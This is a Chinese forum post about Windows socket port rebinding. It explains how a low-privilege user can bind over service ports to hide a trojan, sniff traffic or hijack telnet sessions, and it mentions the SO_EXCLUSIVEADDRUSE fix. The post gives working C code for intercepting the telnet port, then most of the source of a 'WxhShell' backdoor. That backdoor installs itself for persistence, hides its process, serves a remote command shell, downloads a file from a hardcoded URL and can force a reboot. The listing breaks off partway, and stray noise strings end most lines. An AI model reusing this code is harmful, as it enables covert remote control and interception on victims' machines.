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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C.hRL4+;Zm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X@@7Qk  
(.9H1aO46|  
  saddr.sin_family = AF_INET; jp#/]>(9Z  
fZ  pUnc  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); NMhI0Ix$w  
*6]_ 6xO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [vcSt5R=  
3>k?-%"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WVh]<?GWXk  
K%NgZ(x(  
  这意味着什么?意味着可以进行如下的攻击: $Q56~AP  
Qy| 6A@  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 G8OnNI  
42,K8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >W=^>8u  
Trml?zexD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vOBXAF  
^ V8?6E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6 G?7>M  
3qwSm <  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _S6SCSFc  
L7$1rO<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2<^eVpNJR  
*!yY7 ~#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]0myoWpi3  
r$;u4FR  
  #include w:@W/e*9N  
  #include %CG=mTP  
  #include 8fQaMn4V  
  #include    Y j*Y*LB~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )zvjsx*e=J  
  int main() D? FWSv  
  { 5t[7taLX\  
  WORD wVersionRequested; B3V+/o6  
  DWORD ret; tcj3x<  
  WSADATA wsaData; p2=+cS"HC  
  BOOL val; h,*-V 'X.k  
  SOCKADDR_IN saddr; c,yjsxETW  
  SOCKADDR_IN scaddr; HV?Q{X K.b  
  int err; hZwbYvu  
  SOCKET s; 6f'THU$  
  SOCKET sc; MnPk+eNJm  
  int caddsize; mNQ~9OJ1  
  HANDLE mt; 7l+:gD  
  DWORD tid;   %a=^T?8  
  wVersionRequested = MAKEWORD( 2, 2 ); x:? EL)(  
  err = WSAStartup( wVersionRequested, &wsaData ); _SQQS67fu"  
  if ( err != 0 ) { Y& p ~8  
  printf("error!WSAStartup failed!\n"); o>l/*i0I  
  return -1; W#bOx0  
  } ?*/1J~<(@  
  saddr.sin_family = AF_INET; 9Qb6ek  
   gucgNpX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <*3#nA-O>i  
J=?P`\h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &&>Tfzh  
  saddr.sin_port = htons(23); /J5)_> R:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (7*((  
  { 0F-%C>&g  
  printf("error!socket failed!\n"); "nA~/t=  
  return -1; T1U8ZEK<iu  
  } x:E:~h[.^  
  val = TRUE; }8Yu"P${Y  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 IJk<1T7:(W  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) nr?|!gj  
  { ^|lw~F  
  printf("error!setsockopt failed!\n"); -%ftPfm  
  return -1; 8D&yFal  
  } 18WJ*q7:  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; O"ebrv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /4YxB,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 5_+pgJL  
G0lg5iA<fC  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c2Yrg@) [  
  { aflBDo1c  
  ret=GetLastError(); 7U2?in}?Qi  
  printf("error!bind failed!\n"); o#QS: '|  
  return -1; q^ eLbivVE  
  } gXvE^fE  
  listen(s,2); m9mkZ:r(kV  
  while(1) b#W(&b^q  
  { %fIYWu`X  
  caddsize = sizeof(scaddr); ld[BiP`B2V  
  //接受连接请求 !7n`-#)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); EQVa8xt/C  
  if(sc!=INVALID_SOCKET) Hn}m}A  
  { Y-.aSc53  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); a49t/  
  if(mt==NULL) f>[{1M]n\  
  { i$6o>V6  
  printf("Thread Creat Failed!\n"); }=fls=c/0  
  break; ke19(r Ch  
  } 8|~M!<  
  } jE2EoQ i,  
  CloseHandle(mt); >9,LN;Ic  
  } Huc|HL#C  
  closesocket(s); FVWHiwRU,  
  WSACleanup(); "eIE5h  
  return 0; qHu\3@px  
  }   #F#M<d3-2  
  DWORD WINAPI ClientThread(LPVOID lpParam) E&;;2  
  { y]}N [l  
  SOCKET ss = (SOCKET)lpParam; vRLWs`1j  
  SOCKET sc; !X\aZ{}Q  
  unsigned char buf[4096]; qT^0 %O:  
  SOCKADDR_IN saddr; J@qwz[d i  
  long num; U nS|""  
  DWORD val; 5P[urOvV  
  DWORD ret; W?gelu]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 )v %tyU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cd;~60@K  
  saddr.sin_family = AF_INET; oO9yI^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h]WW?.   
  saddr.sin_port = htons(23); W#foVAi .  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z}-8pDD'  
  { m0N{%Mf-  
  printf("error!socket failed!\n"); IZ@M K  
  return -1; Mo]  
  } G|j8iV O  
  val = 100; V U~r~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^TT_B AI  
  { S"%W^)mZ  
  ret = GetLastError(); wRJ`RKJ-T  
  return -1; 8aI^vP"7`=  
  } _.xicov  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Nc*z?0wP  
  { }LryRcrD-n  
  ret = GetLastError(); -*;JUSGh  
  return -1; V82hk0*j  
  } +THK Jn!>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #0c;2}D  
  { d_ji ..T  
  printf("error!socket connect failed!\n"); eV\VR !!i  
  closesocket(sc); Dyh|F\T  
  closesocket(ss); Hli22~7T:  
  return -1; _CG ED{b@  
  } -_irkpdC[  
  while(1) ORhvo,.u  
  { v_,'NA0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8b< 'jft  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 a7"Aq:IjU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 T]2=  
  num = recv(ss,buf,4096,0); v8>bR|n5  
  if(num>0) O|*-J  
  send(sc,buf,num,0); &e99P{\D  
  else if(num==0) Rg 5kFeS  
  break; c.}#.-b8  
  num = recv(sc,buf,4096,0); U&gI_z[  
  if(num>0) [I=1   
  send(ss,buf,num,0); [p_<`gU?  
  else if(num==0) `( _N9.>B  
  break; 6b\JD.r*{  
  } n"f: 6|<  
  closesocket(ss); QZFH>,d  
  closesocket(sc); w/@ tH  
  return 0 ; cnj32H^+  
  } 3y yVI#  
#1Ie v7w  
:Q"p!,X=-  
========================================================== Wx|De7*  
5?8jj  
下边附上一个代码,,WXhSHELL 1'b}Y 8YO  
NB3ar&.$S  
========================================================== O T .bXr~  
8j}o\!H  
#include "stdafx.h" U;LX"'}  
Z*YS7 ~  
#include <stdio.h> f s2}a  
#include <string.h> R[}fr36>/  
#include <windows.h> !YX_k<1E  
#include <winsock2.h> G|qsJ  
#include <winsvc.h> (B Ig  
#include <urlmon.h> =jvL2ps<  
|J:m{  
#pragma comment (lib, "Ws2_32.lib") S>y}|MG  
#pragma comment (lib, "urlmon.lib") rA A?{(!9x  
k<y~n*{_  
#define MAX_USER   100 // 最大客户端连接数 H Em XB=  
#define BUF_SOCK   200 // sock buffer qq>Qi(>  
#define KEY_BUFF   255 // 输入 buffer +<fT\Oq#  
4tz@?T Cb  
#define REBOOT     0   // 重启 3z -="_p  
#define SHUTDOWN   1   // 关机 NGmXF_kqN  
qEM,~:lTn  
#define DEF_PORT   5000 // 监听端口 tkW7wP;  
vGchKN~_  
#define REG_LEN     16   // 注册表键长度 '}F..w/  
#define SVC_LEN     80   // NT服务名长度 kyr=q-y  
{VKP&{~O  
// 从dll定义API L | #"Yn  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ! l"*DR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &_,.*tha  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LknV47vd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =4K:l}}  
;$FMOMR  
// wxhshell配置信息 oo]g=C$n  
struct WSCFG { QsyM[;\j:  
  int ws_port;         // 监听端口 c"zE  
  char ws_passstr[REG_LEN]; // 口令 '3 JVUHn  
  int ws_autoins;       // 安装标记, 1=yes 0=no g|5cO3m0'  
  char ws_regname[REG_LEN]; // 注册表键名 _g6H&no[  
  char ws_svcname[REG_LEN]; // 服务名 N\85fPSMG|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CQ'4 ".7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0r]-Ltvl?}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z;\,Dt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YZz8xtM<2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Wo6C0Z3g}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _vUId?9@+e  
bRI`ZT0  
}; G@rV9  
DlQ*'PX7  
// default Wxhshell configuration 0">9n9  
struct WSCFG wscfg={DEF_PORT, ,{BF`5bn|  
    "xuhuanlingzhe", As(6E}{S  
    1, y~Vl0f;  
    "Wxhshell", nS]Ih0( K  
    "Wxhshell", Xe@:Aun  
            "WxhShell Service", d%#5roR4<  
    "Wrsky Windows CmdShell Service", ~2O1$ou  
    "Please Input Your Password: ", 7&1 dr  
  1, <UbLds{+Uo  
  "http://www.wrsky.com/wxhshell.exe", %+L3Xk]m'  
  "Wxhshell.exe" DxxY<OkN  
    }; j0A9;AP;;C  
j "e]Ui  
// 消息定义模块 c='uyx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d+%Rg\ v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d ZxrIWx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2(25IYMS8  
char *msg_ws_ext="\n\rExit."; ~-#8j3 J;  
char *msg_ws_end="\n\rQuit."; :F?L,I,K  
char *msg_ws_boot="\n\rReboot..."; `bjPOA(g  
char *msg_ws_poff="\n\rShutdown..."; $q0i=l&$&  
char *msg_ws_down="\n\rSave to "; 1a'0cSH  
d1u6*&@lf  
char *msg_ws_err="\n\rErr!"; @H8CU!J  
char *msg_ws_ok="\n\rOK!"; }/aqh;W  
A8j$c~  
char ExeFile[MAX_PATH]; oC|']r6  
int nUser = 0; pZ&?uo67_  
HANDLE handles[MAX_USER];  zj7?2  
int OsIsNt; 7-4S'rq+  
T;{"lp.  
SERVICE_STATUS       serviceStatus; :$N{NChx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EsjZ;D, c(  
P5oYv  
// 函数声明 }PxP J$o  
int Install(void); Frum@n  
int Uninstall(void); ,W5!=\Gg(  
int DownloadFile(char *sURL, SOCKET wsh); diD[/&k#kh  
int Boot(int flag); }cERCS\t  
void HideProc(void); UUqA^yJ  
int GetOsVer(void); Lo5CVlK  
int Wxhshell(SOCKET wsl); YI+o:fGC5  
void TalkWithClient(void *cs); [}Y_O*C !  
int CmdShell(SOCKET sock); mEq>{l:  
int StartFromService(void);  u'qc=5  
int StartWxhshell(LPSTR lpCmdLine); (?#"S67  
"~6IjW*/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,*g.?q@W2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /e]R0NI  
8eD/9PD=F  
// 数据结构和表定义 7 MG<!U  
SERVICE_TABLE_ENTRY DispatchTable[] = F tay8m@f  
{ /gq\.+'{  
{wscfg.ws_svcname, NTServiceMain}, _!^2A3c<  
{NULL, NULL} RwDXOdgu  
}; o~ReeZ7)Zg  
z?.XVk-  
// 自我安装 Y&1Yc)*O  
int Install(void) |]tsf /SA  
{  @zSj&4  
  char svExeFile[MAX_PATH]; QA# 7T3|  
  HKEY key; SI:Iv:>  
  strcpy(svExeFile,ExeFile); RKwuvVI  
DXx),?s>  
// 如果是win9x系统,修改注册表设为自启动 `{'h+v`  
if(!OsIsNt) { C&&33L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :[bpMP<bz;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RgLkAHA  
  RegCloseKey(key); 1owe'7\J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %p tw=Ju  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f(.t0{Etq  
  RegCloseKey(key); >^Y)@ J  
  return 0; |k=5`WG  
    } s^ K:cz  
  }  Y$nI9  
} &|c] U/_w  
else { G33'Cgo:,  
 4B'-tV  
// 如果是NT以上系统,安装为系统服务 a\Dw*h?b~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }!@X(S!do  
if (schSCManager!=0) bC%}1wwh  
{ LGPg\g`  
  SC_HANDLE schService = CreateService Qd"u$~ qC  
  ( },vVc/  
  schSCManager, <O9.GHV1v  
  wscfg.ws_svcname, +*KDtqZjk  
  wscfg.ws_svcdisp, *" ,"u;&  
  SERVICE_ALL_ACCESS, # 3gdT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]M/*Beh  
  SERVICE_AUTO_START, b"&1l2\ A  
  SERVICE_ERROR_NORMAL, ~+Ows  
  svExeFile, >@L^^ -r  
  NULL, a~O](/+p;  
  NULL, [C(>e0r  
  NULL, 21.N+H'  
  NULL, WkK.ON^  
  NULL CO.e.:h  
  ); i0*6o3h  
  if (schService!=0) 8ubb~B;  
  { 2[yfo8H  
  CloseServiceHandle(schService); s&Ml1 A:  
  CloseServiceHandle(schSCManager); b'TkYa^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vm`\0VGSW  
  strcat(svExeFile,wscfg.ws_svcname); #;Z+ X)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,: 4+hJ<q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AX2On}&bf  
  RegCloseKey(key); 6'QlC+E  
  return 0; 6sl2vHzA  
    } L$s ;tJ   
  } e?eX9yA7F  
  CloseServiceHandle(schSCManager); qlIbnyP<  
} rc)vVv  
} `KzNBH,W  
t/0h)mL}  
return 1; Vh;P,no#  
} <%Afa#  
8cv[|`<  
// 自我卸载 fDIKR[B  
int Uninstall(void) _#rE6./@q  
{ g;PZ$|%&s>  
  HKEY key; {1]/ok2k5  
LFV',1+  
if(!OsIsNt) { 8f{;oO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pG9qD2C f  
  RegDeleteValue(key,wscfg.ws_regname); e-/+e64Q@  
  RegCloseKey(key); O^yD b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6qzyeli  
  RegDeleteValue(key,wscfg.ws_regname); u[ 2B0a  
  RegCloseKey(key); SYmiDR  
  return 0; /E0/)@pDq  
  } ? {vY3~  
} rytaC(  
} @8qo(7<~Q  
else { [_,Gk]F=  
YR} P;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (&t8.7O  
if (schSCManager!=0) Th[Gu8b3  
{ *^b<CZd9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #K _E/~  
  if (schService!=0) q&N1| f7  
  { 3D/<R|p  
  if(DeleteService(schService)!=0) { ($A0u mW1%  
  CloseServiceHandle(schService); S((\KL,  
  CloseServiceHandle(schSCManager); It8m]FN  
  return 0; |g}~7*+i  
  } +`H{  
  CloseServiceHandle(schService); /WX 0}mWu  
  } x9{&rl dC  
  CloseServiceHandle(schSCManager); sLh %k  
} #>/s tU-  
} zBd)E21H  
^~:&/0  
return 1; AD/7k3:  
} KeiPo KhZi  
uEPdL':}2  
// 从指定url下载文件 ,V}Vxq3  
int DownloadFile(char *sURL, SOCKET wsh) 'E#;`}&Ah  
{ ij/5m-{6)  
  HRESULT hr; :0)nL  
char seps[]= "/"; UAi]hUq  
char *token; vx&jI$t8  
char *file; +zup+=0e  
char myURL[MAX_PATH]; g9$P J:  
char myFILE[MAX_PATH]; Mm'q4DV^  
3S_H hvB  
strcpy(myURL,sURL); gvx {;e  
  token=strtok(myURL,seps); bBC!fh!L"  
  while(token!=NULL) BDCFToSf|  
  { yA#-}Y|]b  
    file=token; N=X(G(  
  token=strtok(NULL,seps); DKGZm<G>  
  } 4:Bpz;x  
{_{&t>s2  
GetCurrentDirectory(MAX_PATH,myFILE); &InMI#0mV  
strcat(myFILE, "\\"); "uthFE  
strcat(myFILE, file); [8J/# !B  
  send(wsh,myFILE,strlen(myFILE),0); VP<_~OLc  
send(wsh,"...",3,0); ;.g <u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u3>D vl@  
  if(hr==S_OK) %!;6h^@  
return 0; 1*>lYd8 _  
else GG@&jcp7  
return 1; NpIx\\d  
?H.7 WtTC  
} BVt)~HZ  
l"-F<^ U  
// 系统电源模块 MiX*PqNTM  
int Boot(int flag) v'QmuMWF  
{ iq!u}# x_  
  HANDLE hToken; Gpauy=4f  
  TOKEN_PRIVILEGES tkp; #el i_Cxe  
nd 5w|83  
  if(OsIsNt) { 3~%wA(|A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )|`# BC  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y,`SLgBID  
    tkp.PrivilegeCount = 1; iB:](Md'r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u\JYxNj1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^q uv`d  
if(flag==REBOOT) { ]qLro<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pd[?TyVK;  
  return 0; BZP~m=kq  
} \Q5Jg  
else { f[b x|6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MMI7FlfY  
  return 0; .-6B6IEI_"  
} n;eK2+}]  
  } f~LM-7!zf}  
  else { YMSA[hm  
if(flag==REBOOT) { 2[Ja|W\If  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UqP %S$9  
  return 0; {bSi3oI  
} ;LBq!  
else { lP!`lhc-^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .mse.$TK.^  
  return 0; >q:0w{.TU  
} q0oNRAvn"  
} W* XG9  
Qo!/n`19  
return 1; ,DHiM-v  
} RSNukg  
R9/(z\'}  
// win9x进程隐藏模块 "0lC:Wu]  
void HideProc(void) Felu`@b  
{ yH<^txNF  
Uv(THxVh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); qw!_/Z3[  
  if ( hKernel != NULL ) O~r.sJ}  
  { xJvM l`2;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 03iD(,@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )1>fQ9   
    FreeLibrary(hKernel); Zz\e:/  
  } .H,wdzg)  
{jOCz1J  
return; v.08,P{b  
} 8TK&i,  
#'qEm=%  
// 获取操作系统版本 ^cE|o&Rm;  
int GetOsVer(void) g|W|>`>  
{ Lh%>> Ht{  
  OSVERSIONINFO winfo; PD$g W`V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J~0_  
  GetVersionEx(&winfo); n$*'J9W~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?lh `>v  
  return 1; 1!@KRV  
  else Z/-!-  
  return 0; 9Bl c  
} `7|\Gqy  
hhTM-D1Ehs  
// 客户端句柄模块 p/|": (U  
int Wxhshell(SOCKET wsl) \X5>HPB  
{ F[Dhj,C"  
  SOCKET wsh; v2>.+Eh#  
  struct sockaddr_in client; FK MuRy|  
  DWORD myID; L{K:XiPn  
4s?x 8oAy  
  while(nUser<MAX_USER) p}qNw`  
{ x[Xj[O  
  int nSize=sizeof(client); l@ +]XyLj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #>m#i1Nu  
  if(wsh==INVALID_SOCKET) return 1; 0jY#,t?>  
$7{|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <$WRc\}&g  
if(handles[nUser]==0) wl1JKiodg  
  closesocket(wsh); 2k,!P6fgl  
else DP=4<ES%+  
  nUser++; hadGF%> O6  
  } ?QGAiu0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]XX8l:+  
zG_e=   
  return 0; eGrC0[SH  
} Is~bA_- ;  
w$~|/UrLf  
// 关闭 socket @D!KFJ  
void CloseIt(SOCKET wsh) \Uun2.K  
{ |];s[^$#  
closesocket(wsh); }(AgXvRq  
nUser--; -ec ~~95  
ExitThread(0); w(kN0HD  
} %;UEyj  
5}3Q}o#  
// 客户端请求句柄 r2A(GUz  
void TalkWithClient(void *cs) _ukKzY  
{ S$q:hXZ#e  
,5jE9  
  SOCKET wsh=(SOCKET)cs; &P>wIbE  
  char pwd[SVC_LEN]; vmI]N  
  char cmd[KEY_BUFF]; C' C'@?]  
char chr[1]; ^E&':6(  
int i,j; 7<V(lX.{  
lc/q0  
  while (nUser < MAX_USER) { kN9pl^2  
#87:Or1  
if(wscfg.ws_passstr) { CybHr#LBc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <>,V> k|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1<_i7.{k  
  //ZeroMemory(pwd,KEY_BUFF); (,eH*/~/  
      i=0; ;\=W=wL(  
  while(i<SVC_LEN) { V.Pb AN  
oXG,8NOdC  
  // 设置超时 +OkR7bl  
  fd_set FdRead; {uEu ^6a5  
  struct timeval TimeOut; YC\~PVG  
  FD_ZERO(&FdRead); 'ypJGm  
  FD_SET(wsh,&FdRead); :(EU\yCzK  
  TimeOut.tv_sec=8; d_BO&k<+I  
  TimeOut.tv_usec=0; 3IHya=qN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :70cOt~Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L_uliBn  
1,fjdd8OM;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N<ww&GXBX  
  pwd=chr[0]; &Mbpv)V8  
  if(chr[0]==0xd || chr[0]==0xa) { b@@`2O3"  
  pwd=0; QSf{V(fs  
  break; g9OO#C>  
  } +^hFs7je)  
  i++; rk W*C'2fz  
    } w@Ut[ ;6^  
HErTFY+vC  
  // 如果是非法用户,关闭 socket A][\L[8X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D^P_3 B+  
} i[)H!%RV*  
Qy |*[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); niY9`8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a2 fV0d6*l  
hp6S *d  
while(1) { _O ~DJ"  
_ v\=ag  
  ZeroMemory(cmd,KEY_BUFF); W@jBX{k  
U}(*}Ut  
      // 自动支持客户端 telnet标准   nE)?P*$3Z  
  j=0; =p|,~q&i  
  while(j<KEY_BUFF) { rmutw~nHD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e>1z1Q;_uv  
  cmd[j]=chr[0]; 5F$ elW  
  if(chr[0]==0xa || chr[0]==0xd) { QcG4~DEX4  
  cmd[j]=0; Ul7)CT2:  
  break; S !cc%  
  } U#R=y:O?  
  j++; h\afO  
    } 2ku\R7  
GGsDR%U  
  // 下载文件 `qp[x%7^  
  if(strstr(cmd,"http://")) { a=\r~Z7E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %JmSCjt`G  
  if(DownloadFile(cmd,wsh)) Qc-jOl  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jj}+tQ f  
  else U7(84k\j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XfmPq'#Z  
  } >8+:{NW  
  else { _U;z@  
@#$5_uU8\(  
    switch(cmd[0]) { u{maE ,  
  EE5I~k 5  
  // 帮助 ]Sg4>tp  
  case '?': { EOWLGleD1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -Zd0[& ']  
    break; }stc]L{79  
  } q"4{GCavN  
  // 安装 `)$'1,]u  
  case 'i': { 0L1NZY^!  
    if(Install()) `8xt!8Z$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &u0JzK  
    else X-O/&WRYQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =n|n%N4Y  
    break; :clMO|  
    } Qvt  
  // 卸载 WrBiAh,  
  case 'r': { hOjy$Z  
    if(Uninstall()) t=\y|Idc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dUiv+K)ccQ  
    else ;2 -%IA,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R@Ch3l@  
    break; 1 i # .h$  
    } ;(AVZxCM  
  // 显示 wxhshell 所在路径 M:i;;)cq  
  case 'p': { $|-joY  
    char svExeFile[MAX_PATH]; R: 8\z0"L*  
    strcpy(svExeFile,"\n\r"); kX!TOlk3  
      strcat(svExeFile,ExeFile); @%mJw u  
        send(wsh,svExeFile,strlen(svExeFile),0); k!-(Qfz  
    break; Obwj=_+upd  
    } w4w[qxV>  
  // 重启 x%HX0= (  
  case 'b': { AdV&w: ^yf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $2N)m:X0  
    if(Boot(REBOOT)) vqDd][n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@zD'G >  
    else { ;G!JKg  
    closesocket(wsh); ,kiyx h^  
    ExitThread(0); TV#X@jQ  
    } 1#BMc%  
    break; CsfGjqpf  
    } Te&F2`vo  
  // 关机 (Q~ p"Ch  
  case 'd': { BVAxeXO  
